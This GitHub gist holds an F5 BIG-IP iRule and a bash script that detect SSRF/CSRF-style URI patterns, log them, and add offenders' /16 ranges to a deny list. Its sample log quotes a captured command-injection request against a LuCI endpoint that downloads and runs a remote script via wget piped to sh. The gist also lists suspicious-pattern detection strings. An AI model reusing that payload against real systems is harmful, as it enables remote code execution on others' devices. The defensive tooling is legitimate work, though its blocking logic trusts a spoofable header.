Skip to content

Instantly share code, notes, and snippets.

@ruo91
Last active October 1, 2024 06:10
Show Gist options
  • Save ruo91/f2134caa2b996e0e96ba0c64036b2292 to your computer and use it in GitHub Desktop.
Save ruo91/f2134caa2b996e0e96ba0c64036b2292 to your computer and use it in GitHub Desktop.
F5 BIG-IP - Automatic blocking script for CSRF, SSRF, and CORS attacks

1. iRules

when HTTP_REQUEST {
    # X-Forwarded-For 헤더에서 클라이언트 IP 목록 추출
    set xff [HTTP::header "X-Forwarded-For"]
    set xff_count [llength [split $xff ","]]

    # X-Forwarded-For 헤더에 있는 IP 주소 개수 확인
    if { $xff_count == 3 } {
        log local0. "X-Forwarded-For has 3 entries: $xff"
        # 필요한 처리 수행 (예: 특정 동작 추가)
    } elseif { $xff_count == 2 } {
        log local0. "X-Forwarded-For has 2 entries: $xff"
        # 필요한 처리 수행 (예: 다른 동작 추가)
    } else {
        log local0. "X-Forwarded-For does not have 2 or 3 entries: $xff"
    }

    # 클라이언트 IP를 첫 번째 X-Forwarded-For 헤더 값으로 설정
    set client_ip [lindex [split $xff ","] 0]

    # HTTP 요청에서 URI 추출
    set uri [HTTP::uri]

    # 의심스러운 패턴 목록 (CSRF, SSRF, CORS 관련 모든 패턴)
    set suspicious_patterns {http:// https:// ftp:// file:// smb:// localhost 127.0.0.1 %3c %3e %27 %22 %25}

    # URI에서 의심스러운 패턴 탐지
    foreach pattern $suspicious_patterns {
        if {[string tolower $uri] contains $pattern} {
            # 의심스러운 요청 탐지 시 로그 기록
            log local0. "Suspicious request detected: $uri from IP: $client_ip"

            # 클라이언트 IP의 앞 두 옥텟을 추출하여 16bit CIDR로 변환
            set cidr_ip [join [lrange [split $client_ip "."] 0 1] .] 
            append cidr_ip ".0.0/16"

            # 의심스러운 IP CIDR 형식으로 로그 기록
            log local0. "Add to Data Group: $cidr_ip"

            # 요청을 차단
            reject
        }
    }
}

2. 쉘 스크립트

매 1분마다 /var/log/ltm의 로그를 확인 후 감지된 IP 대역을 16bit로 변환 후 CIDR로 자동 차단 수행

#!/bin/bash
# Log file location
logfile="/var/log/ltm"

# Data Group name
data_group="ip-deny-lists"

# Extract suspicious requests from the log and add the client IP to the Data Group
grep -E 'http://|https://|ftp://|file://|localhost|127.0.0.1' $logfile | while read -r line ; do
    # Extract the client IP (assuming it's in the format 'Client <IP>:<Port>')
    client_ip=$(echo $line | awk -F' ' '{for(i=1;i<=NF;i++) if ($i ~ /Client/) {print $(i+1)}}' | awk -F':' '{print $1}')

    # Convert the client IP to 16-bit CIDR (e.g., '192.168.x.x' becomes '192.168.0.0/16')
    if [[ ! -z "$client_ip" ]]; then
        cidr_ip=$(echo $client_ip | awk -F'.' '{print $1 "." $2 ".0.0/16"}')

        # Check if the CIDR is already in the Data Group (avoid duplicate entries)
        if ! tmsh list ltm data-group internal $data_group | grep -q "$cidr_ip"; then
            # Add the CIDR IP to the Data Group
            tmsh modify ltm data-group internal $data_group records add { $cidr_ip }
            echo "Added $cidr_ip to $data_group"
        else
            echo "$cidr_ip is already in $data_group"
        fi
    fi
done

3. 예상 동작

3.1. /var/log/ltm

Oct  1 15:00:02 f5.yongbok.net info tmm1[20498]: Rule /Common/X-Forwarded-For <HTTP_REQUEST>: =============================================
Oct  1 15:00:02 f5.yongbok.net info tmm1[20498]: Rule /Common/X-Forwarded-For <HTTP_REQUEST>: Client 95.214.55.43:51008 -> 211.46.62.52:80/cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$
(id%3E%60wget+-O-+http%3A%2F%2F154.216.17.176%2Ft%7Csh%3B%60) (request)
Oct  1 15:00:02 f5.yongbok.net info tmm1[20498]: Rule /Common/X-Forwarded-For <HTTP_REQUEST>: Host: 211.46.62.52:80
Oct  1 15:00:02 f5.yongbok.net info tmm1[20498]: Rule /Common/X-Forwarded-For <HTTP_REQUEST>: User-Agent: Go-http-client/1.1
Oct  1 15:00:02 f5.yongbok.net info tmm1[20498]: Rule /Common/X-Forwarded-For <HTTP_REQUEST>: X-Forwarded-For: 95.214.55.43, 95.214.55.43
Oct  1 15:00:02 f5.yongbok.net info tmm1[20498]: Rule /Common/X-Forwarded-For <HTTP_REQUEST>: =============================================
Oct  1 15:00:02 f5.yongbok.net info tmm1[20498]: Rule /Common/request-csrf-ssrf-cors-deny <HTTP_REQUEST>: Suspicious request detected: /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60wget+-O-+http%3A%2F%2F154.216.17.176%2Ft%7Csh%3B%60) from IP: 95.214.55.43
Oct  1 15:00:02 f5.yongbok.net info tmm1[20498]: Rule /Common/request-csrf-ssrf-cors-deny <HTTP_REQUEST>: Add to Data Group: 95.214.0.0/16
Oct  1 15:01:48 f5.yongbok.net info tmm[20498]: Rule /Common/X-Forwarded-For <HTTP_REQUEST>: =============================================

3.2. csrf-ssrf-cors-dey.sh

[root@f5:PREFER afm PROVISION:ModuleNotLicensed::Active:Standalone] ~ # ./csrf-ssrf-cors-dey.sh
Added 45.84.0.0/16 to ip-deny-lists
Added 185.224.0.0/16 to ip-deny-lists
185.224.0.0/16 is already in ip-deny-lists
Added 89.187.0.0/16 to ip-deny-lists
89.187.0.0/16 is already in ip-deny-lists
Added 197.33.0.0/16 to ip-deny-lists
Added 1.146.0.0/16 to ip-deny-lists
Added 34.64.0.0/16 to ip-deny-lists
185.224.0.0/16 is already in ip-deny-lists
115.140.0.0/16 is already in ip-deny-lists
115.140.0.0/16 is already in ip-deny-lists
115.140.0.0/16 is already in ip-deny-lists
115.140.0.0/16 is already in ip-deny-lists
115.140.0.0/16 is already in ip-deny-lists
115.140.0.0/16 is already in ip-deny-lists
115.140.0.0/16 is already in ip-deny-lists
115.140.0.0/16 is already in ip-deny-lists
115.140.0.0/16 is already in ip-deny-lists
115.140.0.0/16 is already in ip-deny-lists
115.140.0.0/16 is already in ip-deny-lists
115.140.0.0/16 is already in ip-deny-lists
115.140.0.0/16 is already in ip-deny-lists
115.140.0.0/16 is already in ip-deny-lists
115.140.0.0/16 is already in ip-deny-lists
115.140.0.0/16 is already in ip-deny-lists
115.140.0.0/16 is already in ip-deny-lists
115.140.0.0/16 is already in ip-deny-lists
115.140.0.0/16 is already in ip-deny-lists
115.140.0.0/16 is already in ip-deny-lists
115.140.0.0/16 is already in ip-deny-lists
115.140.0.0/16 is already in ip-deny-lists
115.140.0.0/16 is already in ip-deny-lists
115.140.0.0/16 is already in ip-deny-lists
115.140.0.0/16 is already in ip-deny-lists
115.140.0.0/16 is already in ip-deny-lists

F5 BIG-IP - LTM irules data group

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment